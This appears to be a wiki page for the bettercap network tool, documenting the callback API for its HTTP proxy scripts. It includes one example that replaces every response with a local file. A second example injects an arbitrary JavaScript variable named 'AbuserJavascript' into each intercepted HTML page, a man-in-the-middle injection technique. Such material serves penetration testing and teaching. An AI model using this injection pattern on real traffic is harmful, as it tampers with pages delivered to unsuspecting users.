http.modules - rhaidiz/bettercap GitHub Wiki

// called when the script is loaded
function onLoad() {

}

// called when the request is received by the proxy
// and before it is sent to the real server.
function onRequest(req, res) {

}

// called when the request is sent to the real server
// and a response is received
function onResponse(req, res) {

}

// called every time an unknown session command is typed,
// proxy modules can optionally handle custom commands this way:
function onCommand(cmd) {
    if( cmd == "test" ) {
        /*
         * Custom session command logic here.
         */

        // tell the session we handled this command
        return true
    }
}

function onRequest(req, res) {
    res.Status      = 200;
    res.ContentType = "text/html";
    res.Body        = readFile("caplets/www/index.html");
    headers         = res.Headers.split("\r\n")
    for (var i = 0; i < headers.length; i++) {
        header_name = headers[i].replace(/:.*/, "")
        res.RemoveHeader(header_name);
    }
    res.SetHeader("Connection", "close");
}

function onResponse(req, res) {
    if( res.ContentType.indexOf('text/html') == 0 ){
        var body = res.ReadBody();
        if( body.indexOf('</head>') != -1 ) {
            res.Body = body.replace( 
                '</head>', 
                '<script type="text/javascript">' + "\n" +
                    AbuserJavascript +
                '</script>' +
                '</head>'
            ); 
        }
    }
}